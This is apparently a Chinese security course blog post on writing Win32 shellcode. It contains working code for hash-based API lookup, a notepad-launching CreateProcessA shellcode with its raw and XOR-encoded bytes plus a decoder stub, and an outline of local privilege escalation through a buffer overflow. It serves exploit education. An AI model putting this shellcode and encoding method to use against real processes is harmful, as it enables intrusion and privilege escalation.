29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
// findFuncAddr.cpp
#include <stdio.h>
#include <stdlib.h>
#include "windows.h"

unsigned long GetHash(char * c)
{
unsigned long h=0;
while(*c)
{
h = ( ( h << 25 ) | ( h >> 7 ) ) + *(c++);
}
return h;
}

unsigned long findFuncAddr(unsigned long lHash)
// lHash: hash of the function name.
{
unsigned long lHashFunAddr;

__asm{
// load lHash to edx
push lHash;
pop edx;
// call some functions to do the job.
call get_base_address;
// the base address is 0, done.
cmp eax,0;
jle end_of_findFuncAddr; if ecx <=0 done.
// save the base to ebx;
mov ebx,eax;
call get_function_addr;
// finish all job.
jmp end_of_findFuncAddr;

// Define some sub processes here. ===========================================
// begin of get_base_address ==================================
// get_base_address: put the DLL nIndex to ecx. eax=return value
get_base_address:
mov eax, fs:30h ; PEB base
mov eax, [eax+0ch] ; PEB_LER_DATA
// base of first element
mov eax,[eax+1ch] ; The first element of InInitOrderModuleList
mov eax,[eax] ; Next element
mov eax,[eax+8] ; eax = Base address of the module
retn;
// end of get_base_address ======================================

// begin of get_function_addr =================================
// get_function_addr, in: ebx=base, edx=hash(name); out:eax=return value
get_function_addr:
// get the addrs of first function =========
mov eax,[ebx+3ch] ; e_lfanew
mov eax,[eax+ebx+78h] ; DataDirectory[0]
add eax,ebx ; RVA + base
mov esi,eax ; Save first DataDirectory to esi
// get fields of IMAGE_EXPORT_DIRECTORY pNameOfModule
//mov eax,[esi+0ch] ; Name RVA, real address should "add eax,ebx"
//mov eax,[esi+14h] ; NumberOfFunctions
//mov eax,[esi+18h] ; NumberOfNames
//mov eax,[esi+1ch] ; AddressOfFunctions RVA
//mov eax,[esi+20h] ; AddressOfNames RVA
//mov eax,[esi+24h] ; AddressOfNameOrdinals RVA
mov ecx,[esi+18h] ; NumberOfNames
compare_names_hash:
mov eax, [esi+20h] ; AddressOfNames RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; NamesAddress RVA
add eax, ebx ; rva2va, now eax store the address of the name

push edi ; save edi to stack
mov edi,eax ; put the address of the string to edi
call hash_proc; ; gethash
pop edi ; restor edi from stack

cmp eax,edx; ; compare to hash;
je done_find_hash;
//cmp ebx, [edi] ; compare to hash
//jnz short find_start
loop compare_names_hash;
xor eax,eax;
jmp done_get_function_addr;
done_find_hash:
mov eax, [esi+1ch] ; AddressOfFunctions RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; FunctionAddress RVA
add eax, ebx ; rva2va, now eax store the address of the Function
done_get_function_addr:
retn;
// end of get_function_addr ======================================

// begin of hash_process ======================================
// hash_proc: you should put the address of the string to edi
// when ret, the hash value stores in eax
hash_proc:
// save ebx,ecx,edx,edi
push ebx ;
push ecx ;
push edx ;
push edi ;
xor edx,edx ; edx = h
hash_loop: ;
movsx eax,byte ptr [edi] ; [eax]=*c ==> eax
cmp eax,0 ;
je exit_hash_proc ;
mov ebx,edx ; h ==> ebx
mov ecx,edx ; h ==> ecx
shl ebx,19h ; h << 25
shr ecx,7 ; ( h >> 7 )
or ebx,ecx ; ( ( h << 25 ) | ( h >> 7 ) )
mov edx,ebx ;
add edx,eax ;
inc edi; ;
jmp hash_loop ;
exit_hash_proc: ;
mov eax,edx ; save hash to eax
// restore ebx,ecx,edx,edi
pop edi ;
pop edx ;
pop ecx ;
pop ebx ;
retn ;
// end of hash_process ========================================
end_of_findFuncAddr:
mov lHashFunAddr,eax;
};
return lHashFunAddr;
}
void main(void)
{
printf("LoadLibraryA\t=%p\tfindHashaddr: %p\n",
LoadLibraryA, findFuncAddr(GetHash("LoadLibraryA")));
printf("CreateProcessA\t=%p\tfindHashaddr: %p\n",
CreateProcessA,findFuncAddr(GetHash("CreateProcessA")));
}

​ 最后,Windows2003 SP2系统KERNEL32.dIl的部分函数及其hash列出如下:

image-20221130132720627

之后,我们开始快乐的编写shellcode啦!

​ 首先,编写shellcode要经过以下3个步骤:

  1. 编写简洁的能完成所需功能的C程序。
  2. 分析可执行代码的反汇编语句,用汇编语言实现相同的功能。
  3. 提取出操作码,写成shellcode,并用C程序验证。

我们以启动新进程的shellcode为例,说明Win32环境下的shellcode编写方法。

​ Windows系统中用CreateProcess打开一个新的进程,根据是否设置了UNICODE变量,编译器使用该函数的Unicode 版本(CreateProcessW)或ANSI 版本(CreateProcessA)。以下例程(do32Command.cpp)使用CreateProcessA启动一个新的进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"

void doCommandLine(char * szCmdLine)
{
BOOL ret;
STARTUPINFO si; // 在创建时指定进程主窗口的窗口站、桌面、标准句柄和外观。
PROCESS_INFORMATION pi; // 有关新创建的进程及其主线程的信息。
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
si.wShowWindow=TRUE;
si.dwFlags=STARTF_USESHOWWINDOW;

ret=CreateProcessA(
NULL,
szCmdLine,
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
);
ExitProcess(ret); // 用这个较稳妥,否则shellcode会出错
}
void main(int argc, char* argv[])
{
doCommandLine("notepad.exe");
}

cl do32Command.cpp & do32Command.exe编译运行,成功打开记事本。

​ 接下来,把上述c程序转化成汇编。分析doCommandLine(char * szCmdLine)函数。

  1. 初始化相关的变量。执行CreateProcessA之前的几条语句在栈中开辟了一块内存,以保存结构变量si(STARTUPINFO)和pi(PROCESS_INFORMATION),并设置si.cb的值为44h。由于sizeof(si)=44h,sizeof(pi)=10h,用sub esp,54h就可以在栈中开辟这块内存。用mov指令给si.cb赋值。
  2. 用上一节的方法找到并保存CreateProcessA的地址。
  3. 用push指令将CreateProcessA的参数逆序推入堆栈
  4. 用call指令调用CreateProcessA:以CreateProcessA的内存地址执行call。

​ 相应代码如下(其中8个连续的 NOP(0x90)指令用于定位代码的开始与结束):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"

#define EIGHT_NOPS __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90\
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_BEGIN EIGHT_NOPS
#define PROC_END EIGHT_NOPS
void doCommandLineAsm()
{
__asm{
PROC_BEGIN; // Begin of the code
push 00657865h ;
push 2e646170h ;
push 65746f6eh ; "notepad.exe"
mov edi, esp ; edi="notepad.exe"
push 0xff0d6657 ; //hash("CloseHandle")=0xff0d6657
push 0x4fd18963 ; //hash("ExitProcess")=0x4fd18963
push 0x6ba6bcc9 ; //hash(CreateProcessA)=0x6ba6bcc9

pop edx; ; //edx=GetHash("CreateProcessA");
call findHashFuncAddrProc; // eax=address of function
mov esi,eax; ;// esi=CreateProcessA
pop edx; ;// edx=GetHash("ExitProcess");
call findHashFuncAddrProc; // eax=address of function
mov ebx,eax; ;// ebx=CloseHandle

call doCommandProc; // eax

jmp end_of_this_function; // finish all job.

doCommandProc:
push ecx;
push edx;
push esi;
push edi;
push ebp;
mov ebp,esp;

mov edx,edi; //edx=szCmdLine
sub esp, 54h;
mov edi, esp;
push 14h;
pop ecx;
xor eax,eax;
stack_zero:
mov [edi+ecx*4], eax;
loop stack_zero;

mov byte ptr [edi+10h], 44h ; si.cb = sizeof(si)
lea eax, [edi+10h]
push edi; //push piPtr;
push eax; //push siPtr;
push NULL;
push NULL;
push 0;
push FALSE;
push NULL;
push NULL;
push edx; //edx=szCmdLine
push NULL;
call esi; //eax=return value;ptrCreateProcessA;
cmp eax,0;
je donot_closehandle;
push eax;
call ebx; //ExitProcess;

donot_closehandle:
mov esp,ebp;
pop ebp;
pop edi;
pop esi;
pop edx;
pop ecx;
retn;

findHashFuncAddrProc:
push esi;
push ebx;
push ecx;
push edx;
call get_base_address;
cmp eax,0 ; // the base address is 0, done.
jle end_of_findHashFuncAddrProc; if ecx <=0 done.
mov ebx,eax ; // save the base to ebx;
call get_function_addr;
end_of_findHashFuncAddrProc:
pop edx;
pop ecx;
pop ebx;
pop esi;
retn;

get_base_address:
mov eax, fs:30h ; PEB base
mov eax, [eax+0ch] ; PEB_LER_DATA
mov eax,[eax+1ch] ; The first element of InInitOrderModuleList
mov eax,[eax] ; Next element
mov eax,[eax+8] ; eax = Base address of the module
retn;

get_function_addr:
mov eax,[ebx+3ch] ; e_lfanew
mov eax,[eax+ebx+78h] ; DataDirectory[0]
add eax,ebx ; RVA + base
mov esi,eax ; Save first DataDirectory to esi
mov ecx,[esi+18h] ; NumberOfNames
compare_names_hash:
mov eax, [esi+20h] ; AddressOfNames RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; NamesAddress RVA
add eax, ebx ; rva2va, now eax store the address of the name

push edi ; save edi to stack
mov edi,eax ; put the address of the string to edi
call hash_proc; ; gethash
pop edi ; restor edi from stack

cmp eax,edx; ; compare to hash;
je done_find_hash;
loop compare_names_hash;
xor eax,eax;
jmp done_get_function_addr;
done_find_hash:
mov eax, [esi+1ch] ; AddressOfFunctions RVA
add eax, ebx ; rva2va
mov eax, [eax+ecx*4-4] ; FunctionAddress RVA
add eax, ebx ; rva2va, now eax store the address of the Function
done_get_function_addr:
retn;

hash_proc:
// save ebx,ecx,edx,edi
push ebx ;
push ecx ;
push edx ;
push edi ;
xor edx,edx ; edx = h
hash_loop: ;
movsx eax,byte ptr [edi] ; [eax]=*c ==> eax
cmp eax,0 ;
je exit_hash_proc ;
mov ebx,edx ; h ==> ebx
mov ecx,edx ; h ==> ecx
shl ebx,19h ; h << 25
shr ecx,7 ; h >> 7
or ebx,ecx ; ((h << 25) | (h >> 7))
mov edx,ebx ;
add edx,eax ;
inc edi; ;
jmp hash_loop ;
exit_hash_proc: ;
mov eax,edx ; save hash to eax
// restore ebx,ecx,edx,edi
pop edi ;
pop edx ;
pop ecx ;
pop ebx ;
retn ;
end_of_this_function:
PROC_END; // End of the code
};
}

void main(int argc, char * argv[])
{
doCommandLineAsm();
}

cl /Zi do32CommandAsm.cpp & do32CommandAsm.exe编译运行,能正常打开记事本。

将do32commandAsm.exe中的核心代码提取出来并存放在字符串中,就得到了shellcode。

​ 1. 如果代码比较短小,用dumpbin.exe反汇编可执行文件的代码,指令如下:

dumpbin do32CommandAsm.exe /disasm /section:.text > dump.txt

​ 注:/disasm指的是展示代码段的反汇编,将text段放到dump.txt里。

image-20221130135917783

​ 2. 对于较长的代码可以用一个函数把操作码提取并打印出来(GetShellcode.cpp),实现该功能的代码如下:

https://github.com/WD-2711/cybersecurity-code-PPT/blob/main/%E7%AC%AC11%E7%AB%A0/%E7%AC%AC11%E7%AB%A0%20Win32%20Shellcode%E6%BA%90%E4%BB%A3%E7%A0%81%20(1)/GetShellcode.cpp

​ 其中,PrintStrCode函数的作用是输出代码为字符串,GetProcOpcode函数的作用是获得shellcode目标代码的起始地址及长度,doCommandLineAsm就是我们把C程序编程汇编的shellcode汇编代码,以doCommandLineAsm的地址为输入参数,调用GetProcOpcode函数则可以得到二进制代码及长度。最终打印输出的位串,得到 shellcode 。

image-20221130141945507

​ 最终编译运行cl GetShellcode.cpp & GetShellcode.exe,获得shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 原始二进制代码
/* 264=0x108 bytes */
"\x68\x65\x78\x65\x00\x68\x70\x61\x64\x2e\x68\x6e\x6f\x74\x65\x8b"
"\xfc\x68\x57\x66\x0d\xff\x68\x63\x89\xd1\x4f\x68\xc9\xbc\xa6\x6b"
"\x5a\xe8\x56\x00\x00\x00\x8b\xf0\x5a\xe8\x4e\x00\x00\x00\x8b\xd8"
"\xe8\x05\x00\x00\x00\xe9\xce\x00\x00\x00\x51\x52\x56\x57\x55\x8b"
"\xec\x8b\xd7\x83\xec\x54\x8b\xfc\x6a\x14\x59\x33\xc0\x89\x04\x8f"
"\xe2\xfb\xc6\x47\x10\x44\x8d\x47\x10\x57\x50\x6a\x00\x6a\x00\x6a"
"\x00\x6a\x00\x6a\x00\x6a\x00\x52\x6a\x00\xff\xd6\x83\xf8\x00\x74"
"\x03\x50\xff\xd3\x8b\xe5\x5d\x5f\x5e\x5a\x59\xc3\x56\x53\x51\x52"
"\xe8\x11\x00\x00\x00\x83\xf8\x00\x7e\x07\x8b\xd8\xe8\x17\x00\x00"
"\x00\x5a\x59\x5b\x5e\xc3\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b"
"\x40\x1c\x8b\x00\x8b\x40\x08\xc3\x8b\x43\x3c\x8b\x44\x18\x78\x03"
"\xc3\x8b\xf0\x8b\x4e\x18\x8b\x46\x20\x03\xc3\x8b\x44\x88\xfc\x03"
"\xc3\x57\x8b\xf8\xe8\x17\x00\x00\x00\x5f\x3b\xc2\x74\x06\xe2\xe6"
"\x33\xc0\xeb\x0b\x8b\x46\x1c\x03\xc3\x8b\x44\x88\xfc\x03\xc3\xc3"
"\x53\x51\x52\x57\x33\xd2\x0f\xbe\x07\x83\xf8\x00\x74\x13\x8b\xda"
"\x8b\xca\xc1\xe3\x19\xc1\xe9\x07\x0b\xd9\x8b\xd3\x03\xd0\x47\xeb"
"\xe5\x8b\xc2\x5f\x5a\x59\x5b\xc3";
// 找到xor字节并编码shellcode
XorByte=0xfe
/* 264=0x108 bytes */
"\x96\x9b\x86\x9b\xfe\x96\x8e\x9f\x9a\xd0\x96\x90\x91\x8a\x9b\x75"
"\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77\x2f\xb1\x96\x37\x42\x58\x95"
"\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4\x16\xb0\xfe\xfe\xfe\x75\x26"
"\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe\xfe\xaf\xac\xa8\xa9\xab\x75"
"\x12\x75\x29\x7d\x12\xaa\x75\x02\x94\xea\xa7\xcd\x3e\x77\xfa\x71"
"\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee\xa9\xae\x94\xfe\x94\xfe\x94"
"\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94\xfe\x01\x28\x7d\x06\xfe\x8a"
"\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0\xa4\xa7\x3d\xa8\xad\xaf\xac"
"\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80\xf9\x75\x26\x16\xe9\xfe\xfe"
"\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce\xfe\xfe\xfe\x75\xbe\xf2\x75"
"\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75\xbd\xc2\x75\xba\xe6\x86\xfd"
"\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde\xfd\x3d\x75\xba\x76\x02\xfd"
"\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe\xa1\xc5\x3c\x8a\xf8\x1c\x18"
"\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d\x75\xba\x76\x02\xfd\x3d\x3d"
"\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9\x7d\x06\xfe\x8a\xed\x75\x24"
"\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5\x27\x75\x2d\xfd\x2e\xb9\x15"
"\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";
Success: encode is OK

// 对shellcode进行解码
length of shellcode = 287 = 0x11f
/* 287=0x11f bytes */
"\xeb\x10\x5b\x53\x4b\x33\xc9\x66\xb9\x08\x01\x80\x34\x0b\xfe\xe2"
"\xfa\xc3\xe8\xeb\xff\xff\xff\x96\x9b\x86\x9b\xfe\x96\x8e\x9f\x9a"
"\xd0\x96\x90\x91\x8a\x9b\x75\x02\x96\xa9\x98\xf3\x01\x96\x9d\x77"
"\x2f\xb1\x96\x37\x42\x58\x95\xa4\x16\xa8\xfe\xfe\xfe\x75\x0e\xa4"
"\x16\xb0\xfe\xfe\xfe\x75\x26\x16\xfb\xfe\xfe\xfe\x17\x30\xfe\xfe"
"\xfe\xaf\xac\xa8\xa9\xab\x75\x12\x75\x29\x7d\x12\xaa\x75\x02\x94"
"\xea\xa7\xcd\x3e\x77\xfa\x71\x1c\x05\x38\xb9\xee\xba\x73\xb9\xee"
"\xa9\xae\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\x94\xfe\xac\x94"
"\xfe\x01\x28\x7d\x06\xfe\x8a\xfd\xae\x01\x2d\x75\x1b\xa3\xa1\xa0"
"\xa4\xa7\x3d\xa8\xad\xaf\xac\x16\xef\xfe\xfe\xfe\x7d\x06\xfe\x80"
"\xf9\x75\x26\x16\xe9\xfe\xfe\xfe\xa4\xa7\xa5\xa0\x3d\x9a\x5f\xce"
"\xfe\xfe\xfe\x75\xbe\xf2\x75\xbe\xe2\x75\xfe\x75\xbe\xf6\x3d\x75"
"\xbd\xc2\x75\xba\xe6\x86\xfd\x3d\x75\x0e\x75\xb0\xe6\x75\xb8\xde"
"\xfd\x3d\x75\xba\x76\x02\xfd\x3d\xa9\x75\x06\x16\xe9\xfe\xfe\xfe"
"\xa1\xc5\x3c\x8a\xf8\x1c\x18\xcd\x3e\x15\xf5\x75\xb8\xe2\xfd\x3d"
"\x75\xba\x76\x02\xfd\x3d\x3d\xad\xaf\xac\xa9\xcd\x2c\xf1\x40\xf9"
"\x7d\x06\xfe\x8a\xed\x75\x24\x75\x34\x3f\x1d\xe7\x3f\x17\xf9\xf5"
"\x27\x75\x2d\xfd\x2e\xb9\x15\x1b\x75\x3c\xa1\xa4\xa7\xa5\x3d";

​ 注意,由于原始二进制代码(上述第一个shellcode)的shellcode中存在字符串结束符\0,无法通过strcpy将其复制到被攻击的缓冲区,因此要对shellcode重新编码,使其不包含\0

​ 为简单起见,常用异或操作实现shellcode的编码。为此先找到用于异或的字节 (编码字节) ,然后对shellcode的所有字节与编码字节进行异或操作,则去掉了字符串结束符 \0

​ GetShellcode.cpp中的2个函数分别实现编码字节的查找和实现shellcode的编码:findXorByte与EncOpcode,他们会得出编码后的shellcode(上述第2个shellcode)

​ 编码后的shellcode需要在目标进程中解码后才能执行,为此需要将解码程序附加在其之前,构建新的shellcode,如下图所示:

image-20221130143609603

image-20221130143651501

image-20221130143754762

​ 设计出满足特定功能的shellcode之后,就可以尝试攻击Windows进程的缓冲区溢出漏洞。

​ 一般而言,如果在编译程序的时候打开了堆栈的安全检查功能或者不允许栈执行,则无法在有栈溢出漏洞的进程中执行shellcode。此时可以尝试其他的攻击方法,比如堆溢出、格式化字符串等攻击

补充:

  1. 格式化字符串

    https://sec.mrfan.xyz/2018/10/23/%E3%80%90%E6%95%B4%E7%90%86%E7%AC%94%E8%AE%B0%E3%80%91%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E%E6%A2%B3%E7%90%86/

  2. 堆溢出

    https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heapoverflow-basic/

0x05 shellcode本地攻击

​ 登录到系统中的普通权限用户可以通过攻击某个具有( Administators 组的用或Administrator 用户)Administrator或system (服务进程具有的权限) 权限的进程以试图提升用户的权限,或控制目标系统。

​ 如果进程从文件中读数据或从环境中获得数据,且存在溢出漏洞则有可能执行shellcode。

如果进程从终端获取用户的输入,尤其是要求输入字符串,则很难执行shellcode。这是因为shellcode中有大量的不可显示的字符用户很难以字符的形式输入到缓冲区。

image-20221130144851519

​ 假定remoter通过远程桌面登录到系统,fanping通过控制台登录到系统。

​ 我们假定remoter运行一个存在溢出漏洞的进程从文件中读入数据,而该文件是普通则权限用户可写的,普通用户fanping可精心组织文件的内容而实现攻击。

image-20221130145205697

​ w32Lvictim.cpp完整代码在:

https://github.com/WD-2711/cybersecurity-code-PPT/blob/main/%E7%AC%AC11%E7%AB%A0/%E7%AC%AC11%E7%AB%A0%20Win32%20Shellcode%E6%BA%90%E4%BB%A3%E7%A0%81%20(1)/w32Lvictim.cpp

​ 之后的内容见PPT:

https://github.com/WD-2711/cybersecurity-code-PPT/blob/main/%E7%AC%AC11%E7%AB%A0/%E7%AC%AC11%E7%AB%A0%20Win32%20Shellcode.pdf

留言

2022-11-29

© 2024 wd-z711

⬆︎TOP